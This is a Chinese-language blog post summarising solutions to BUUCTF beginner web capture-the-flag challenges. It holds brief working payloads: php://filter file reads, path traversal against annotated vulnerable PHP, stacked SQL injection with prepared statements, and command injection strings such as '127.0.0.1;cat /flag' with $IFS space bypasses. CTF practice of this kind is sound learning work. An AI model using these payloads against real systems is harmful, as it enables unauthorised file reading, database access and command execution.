# BUUCTFWEB21820总结

原创

影色 于 2021-08-20 18:31:14 发布 48 收藏

分类专栏： CTF+WEB



本文链接：https://blog.csdn.net/qq_51283187/article/details/119829060





## BUUCTFWEB21820总结

今天做了BUUCTF上的N1BOOK的六个入门题目和web部分的一些基础题。啊，简单题有手就行，难题又不会。瓶颈期了属实是。

## N1BOOK

①常见的信息收集
御剑扫目录扫到三个可访问的文件
robots.txt index.php~ .index.php.swp
访问查看就行

②粗心的小李
git泄露
下载githack然后
githack url
打开下载过来的东西html，里面就有

③sql注入1
sqlmap就行
或者纯手动注入也快

③sql注入2
sqlmap就行
或者报错注入updatexml

④afr_1
http://127.0.0.1/cmd.php?file=php://filter/convert.base64-encode/resource=flag.php

⑤afr_2

F12得到线索

然后/img…/直接到根目录，看到flag

## WEB

①warmup

```php
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //这里表示?file(page)=不能为空或者是字符串。然后跳过了这个return false
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) { //这里表示file(page)=后面的等号内容要为source.php或者hint.php 才会返回ture 诚然，我们直接?file=hint.php可以完成
    //校验。但是在后面的include文件包含中，没有代码可以执行了所以这里不可以利用return ture 接下去看
                return true;
            }

            $_page = mb_substr(  //这里的代码将file(page)=后面的等号内容可以用?进行分割，取前面的进行判断，所以我们知道这里是一个好机会。因为只取前面的进行判断
    //后面不用管，所以我们可以通过构造后面的代码进行下一步的文件包含
    //最终的payload为?file=source.php?../../../../../../../../ffffffllllllaaaaaggggggg
    //同时从这里我们也可以看出来include函数的话可以一次包含好几个文件，多的文件可以用?接着下去

    //但是在别人的wp中认为这样子的话后面的这个?../../../../../../../../ffffffllllllaaaaaggggggg会被认为是get请求，最终导致执行文件包含不成功。可是，，，我用这个payload
    //成功的得到了flag 所以我们认为这里的Inculde是一个贪婪算法，也就是从后面的开始取，source.php?../../../../../../../../ffffffllllllaaaaaggggggg 对于这个命令的话，在include
    //函数认为是不正确的，然后就从前面开始一个一个删除，直到后面的../../../../../../../../ffffffllllllaaaaaggggggg 然后就执行成功了
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page); //第四个这里提供了另一种payload 对问号进行双重URL编码
    //http://xxxx:xxxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg 这个的目的在于，第四个验证对这个代码进行服务器和代码
    //的双层解码，最后得到？从而验证 在include的时候只有一层解码，然后识别不出?所以不会被判断成get请求，然后include贪婪算法，从前向后一个个吃掉，直到命令执行成功！
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
```

```
    }
  }

  if (! empty($_REQUEST['file'])
      && is_string($_REQUEST['file'])
      && emmm::checkFile($_REQUEST['file'])
  ) {
      include $_REQUEST['file'];
      exit;
  } else {
      echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  }
?>
```

这里的代码首先没有main，所以直接往下执行。发现有一个类，不用管。看最优先的代码（后面这里if的）进行判断
后面这个emmm::checkFile($_REQUEST['file'])的意思是能够通过emmm类的checkFile函数校验

②[极客大挑战 2019]EasySQL
万能密码就行

③[极客大挑战 2019]Havefun
F12
看注释，然后传参就行

④[强网杯 2019]随便注
堆叠注入1';show tables;#
然后用预编译绕过select被过滤 这一个阻碍
-1'; set @sql = CONCAT('se','lect * from 1919810931114514 ;');
prepare stmt from @sql;
EXECUTE stmt; #
预编译最好是在有回显的时候用
无回显就用updatexml配合报错注入使用

⑤[ACTF2020 新生赛]Include
?file=php://filter/read=convert.base64-encode/resource=flag.php

⑥[SUCTF 2019]EasySQL
不会，只会用非预期解:
关于非预期解 : *,1
拼接一下，不难理解 : select *,1||flag from Flag
等同于 select *,1 from Flag

⑦[极客大挑战 2019]Secret File
F12+?file=php://filter/read=convert.base64-encode/resource=flag.php

⑧[ACTF2020 新生赛]Exec
127.0.0.1;cat /flag

⑨[极客大挑战 2019]LoveSQL
经典SQL

⑩[GXYCTF2019]Ping Ping Ping
?ip=127.0.0.1|cat$IFS1$flag.php?ip=127.0.0.1;cat$IFS1$flag.php

十一[极客大挑战 2019]Knife
一句话连接

十二[极客大挑战 2019]Http
/Secret.php
然后xff referer
user-agent